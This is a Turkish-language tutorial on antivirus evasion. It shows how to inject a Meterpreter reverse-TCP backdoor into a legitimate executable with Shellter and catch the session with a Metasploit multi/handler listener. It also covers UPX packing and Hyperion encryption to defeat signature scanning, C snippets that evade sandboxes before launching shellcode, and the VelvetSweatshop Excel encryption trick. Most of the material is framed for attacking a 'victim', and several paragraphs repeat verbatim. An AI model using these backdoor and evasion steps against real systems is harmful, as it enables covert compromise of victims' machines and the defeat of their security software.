1. Shellter Nedir?
Shellter, ücretsiz antivüs atlatma aracıdır. Zararsız bir uygulamaya zararlı kod entegre etmek için kullanılır. Entegre edilen zararlı kodlar, kurban bilgisayarında shell açma ve antivirüsleri atlatmak için kodu modife etmektedir.1.2. Shellter Kurulumu
Shellter windows ve linux’te çalışmaktadır. Biz uygulamamızı kali üzerinde yapacağız. Terminale;root@kali:~# apt-get install shellter
Kurulumdan sonra uygulamayı başlatmak için;
root@kali:~# shellter
Auto mod seçildikten sonra, çalıştrırabilir dosya vermemiz gerekmektedir. Bu dosya kullanıcının kurmak istediği dosyadır. Dosya bilgileri;
Örnek olarak Plisteditor.exe dosyasını seçelim.
1.2.1. List Payload
Shellter bize arka kapı olarak seçenek sunacaktır. Seçilen kod Plisteditor.exe dosyasına enjekte edilecektir. Seçeneklerden meterpreter için reverse_TCP seçeçeğiz. Listelenmiş payloadlardan birini kullanmak için “L” diyerek bir sonraki adıma geçilir. Diğeri Custom payload seçeneği LHOST saldırı IP adresi ve LPORT saldırı yapılacak PORT adres değerleri girilir. Bu işlemlerden sorna enjekte işlemi başlayacaktır.Bir süre bekledikten sonra dosya enjecte edilecektir. Dosya hazır olduktan sonra kurban bilgisayara enjekte edilecektir.
1.2.1. Custom Payload
Custom payload seçilmişse eğer, bizim msfvenom ile ürettiğimiz payload gösterilir. Bu bize reflective DLL yüklenmesi için “N” deyip geçilmeli. Reflector programı kodlanmış DLL dosyalarını eğer herhangi bir koruma yapılmamış ise decompile yaparak açık kaynak kod haline getiren bir araçtır.1.3. Reverse Bağlantı Kurulumu
Oluşturulan dosya çalıştırıldıktan sonra saldırgan tarafından metaspoit tarafından dinlemeye almalıyız. Multi/handler modülü kullanılır. Aşağıdaki payload yüklenmelidir;msf > use exploit/multi/handler
msf exploit(hanler) > set payload windows/meterpreter/reverse_tcp
msf exploit(hanler) > set LHOST 192.168.1.7
msf exploit(hanler) > set LPORT 4444
msf exploit(hanler) > run
msf exploit(hanler) > run
Dinleme moduna alındıktan sonra uygulama açılmışsan session oluşacaktır.
Artık kurban bilgisayarındayız. Kurban ele geçirildi.
2. Diğer Önemli Yöntemler
Antivirüs programları virüsleri, trojenleri, …vb. belirlemek için dosya büyüklüğüne, dosya isimlerine ve en önemlisi dosya başlığını(File Header) kontrol ederek tespit etmektdir. Antivirüsler çoğunlukla database’inde ki bilgileri dosyanın başlığı ile karşılaştırarak tarar. Bundan dolayı antivirüs programlarının güncel olması sisteminizi güvende tutmanın önemli bir adımıdır. Fakat dosya başlığını değiştirdiğimizde ne olacaktır? Antivirüs bunu database’nde bulamayacaktır.
2.1 UPX Nedir?
UPX(Ultimate Packer Executable), dosya sıkıştırma aracıdır. Bu araç ile sıkıştırılan dosyanın yapısı değişeceğinden antivirüs uygulamalarına tarafından tanınmayacaktır. Çünkü başlık değişmiş olacaktır. Dosya çalışma esnasında tekrar unpack yaparak çalışmaya devam edecektir.
UPX çalışma mantığı code sectionın sonuna pack edilmiş kodları unpack eden bir dosya yerleştirilmiştir. Bu dosya çalışma anında unpack işlemi yapılacaral çalıştırılması gereken asıl dosya aktif olacaktır.
UPX çalışma mantığı code sectionın sonuna pack edilmiş kodları unpack eden bir dosya yerleştirilmiştir. Bu dosya çalışma anında unpack işlemi yapılacaral çalıştırılması gereken asıl dosya aktif olacaktır.
UPX kullanımı : upx [ command ] [ options ] filename...
commands:
-1 sıkıştırma hızlı -9 sıkıştırma daha iyi
-d sıkıştırmayı aç -l sıkıştırılmış dosyaları göster
-t sıkıştırılmış dosya testi -V versiyon numarısı göster
-h yardım -L lisansı göster
Options:
-q uyarıları bastırma -v be verbose
-oFILE çıkarılacak dosya
-f şüpheli dosyaları sıkıştırmaya zorla
-k backup dosyası al
file.. : sıkıştırılmak istenen dosya
UPX şu dosyaları destekler; dos/exe, dos/com, dos/sys, djgpp2/coff, watcom/le,
win32/pe, rtm32/pe, tmt/adam, atari/tos, linux/386
Şimdi dosyayı sıkıştıralım.
Dosyanın boyutu %63 azaldı ve dosya başlığı değişti.
Uygulamaları(Upx ile işlem yapmadan önceki ve sonraki) virustotal’a yüklediğinizde gözle görülür bir fark olduğunu göreceksiniz. Unutmayın virustotal’a her yüklediğinizde dosya tespit etme oranı artacaktır. Daha önce de dediğimiz gibi virustotal antivirüs üreticilerine yüklenen dosyaları paylaştığından üreticiler bu uygulamalardaki durumları kontrol edecektir ve zararlı olanları tespit ettikten sonra antivirüs uygulamalarının database’lerine güncelleme olarak geçecektir.
UPX dosyayısı tekrar sıkıştıramazsınız. UPX sıkıştırılmış dosya olduğunu anladığından bunu yapmanıza izin vermeyecektir. Antivirüs programlarını atlamak için 9 farklı oran var bunları kullanarak atlatma şansınız artacaktır.
2.2 Hyperion ile PE Şifreleme
Hypreion çalışma mantığı diğer anlattığımız yöntemlerden biraz farklıdır. Hyperion dosyayı şifreler(kriptolar). Şifreyi kimse bilemez, hyperion kendisi de bilmez. Ancak çalışma anında uygulma istediğimiz gibi çalışmaktadır. Hyperion zararlı kodunuzu aktif etmek için şifreyi bulmıştur. Bunu nasıl yapmıştır?
Hyperion dosyayı şifrelerken AES 128 ile şifrelemiştir. Şifrelenen anahtar uzunluğu düşüktür. Çalışma anında bu anahtar düşük olduğundan, bu anahtarı tahmin etmek için brute-force ile bulacaktır. Doğru tahminden sonra PE dosyası decrypt edilecektir. Sizin yerleştirdiğiniz zararlı yazılım aktif olacaktır.
Hyperion dosyayı şifrelerken AES 128 ile şifrelemiştir. Şifrelenen anahtar uzunluğu düşüktür. Çalışma anında bu anahtar düşük olduğundan, bu anahtarı tahmin etmek için brute-force ile bulacaktır. Doğru tahminden sonra PE dosyası decrypt edilecektir. Sizin yerleştirdiğiniz zararlı yazılım aktif olacaktır.
Antivirüs şifreli olan dosyayı çözemeyeceği için uygulamanın zararlı olduğunu anlayamayacaktır ve uygulamanız antivirüsden korunacaktır.
2.2.1 Hyperion Nasıl Kurulur?
Uygulamayı buraya(https://github.com/Veil-Framework/Veil-Evasion/tree/master/tools/hyperion) adresinden tıklayarak inderebilirsiniz. Uygulamayı windowsta çalıştırabilisiniz. Linuxde çalıştırmak için wine aracını kullanmanız gerekmektedir.
Windows için kullanımı
hyperion.exe virus-btrisk.exe encrypt-btrisk.exe
Kali linux için kullanımı;
sudo wine hyperion.exe virus-btrisk.exe encrypt-btrisk.exe
Uygulama brute-force sırasında CPU yorucağından 10-15 saniye sonra aktif olacaktır.
Msfvenom ile oluşturulan dosyayı kurban bilgisayarına yükledikten sonra msfconsole’da reverse tcp handler oluşacaktır. Uygulama çalıştığında bir session yakalabilirsiniz.
2.3 Diğer Yöntemler
Buraya kadar anlattığımız yöntemler dışında da yöntemler mevcuttur.
Antivirüs uygulamaları dosya çalışmadan önce bir sandbox ortamında çalıştırılmaktadır. Bu sandbox ortamından fazla boyutta bir uygulama yaparsak dosya boyutu sandbox boyutundan fazla olacağından antivirüs uygulamasından uygulaması saklayabiliriz.
Antivirüs uygulamaları dosya çalışmadan önce bir sandbox ortamında çalıştırılmaktadır. Bu sandbox ortamından fazla boyutta bir uygulama yaparsak dosya boyutu sandbox boyutundan fazla olacağından antivirüs uygulamasından uygulaması saklayabiliriz.
Örneğim aşağıdaki kodda uyguma boyutu 100MB’dan fazla oluşturulmaktadır.
#define TOO_MUCH_MEM 100000000
int main()
{
char * memdmp = NULL;
memdmp = (char *) malloc(TOO_MUCH_MEM);
if(memdmp!=NULL)
{
memset(memdmp,00, TOO_MUCH_MEM);
free(memdmp);
decryptCodeSection();
startShellCode();
}
return 0;
}
Başka bir metod da uygulmayı sleep ederek belli bir süre uyumasını sağlamaktır. Sonuçta uygulamayı kontrol eden antivirüs bir kere çalıştırarak kontrol edecektir. Fakat bu süre uzun olursa presentation kötü etkileyeceğinden uygulmayı denetleyemeyecektir. Zararlı kodumuz çalışacaktır.
#include <time.h>
#pragma comment (lib, "winmm.lib")
int main()
{
DWORD mesure1 ;
DWORD mesure2 ;
mesure1 = timeGetTime();
Sleep(1000);
mesure2 = timeGetTime();
if((mesure2 > (mesure1+ 1000))&&(mesure2 < (mesure1+ 1005)))
{
decryptCodeSection();
startShellCode();
}
return 0;
}
Bir başka metod da excel uygulamasında saklı. Excel exploit dosyasının şifrelenmesidir. Excel dosyası şifrelemeye izin vermektedir. Aynı zamanda default bir şifresi de bulunmaktadır. Şifreli olan excel dosyası ilk olarak “VelvetSweatshop” anahatarı ile dosyayı açmayı dener. Bunu kullanıcı dostu olduğu için yapar. Saldırgan da bir hile yapar. Saldırgan bu zafiyeti kullanarak, zararlı yazılımı yerleştirdiği excel dosyasını “VelvetSweatshop” ile şifreler. Antivirüs anahtara sahip olmadığından zararlı yazılımı tespit edemeyecektir.
Görüldüğü gibi saldırganlar her geçen gün tekniklerini geliştirmektedir. En iyi saldırı yöntemi özel olarak hazırlanmış kodlar olacaktır. Antivirüs programları imza tabanlı çözümler ise bu yöntemlere karşı yeteneksiz kalmaktadır.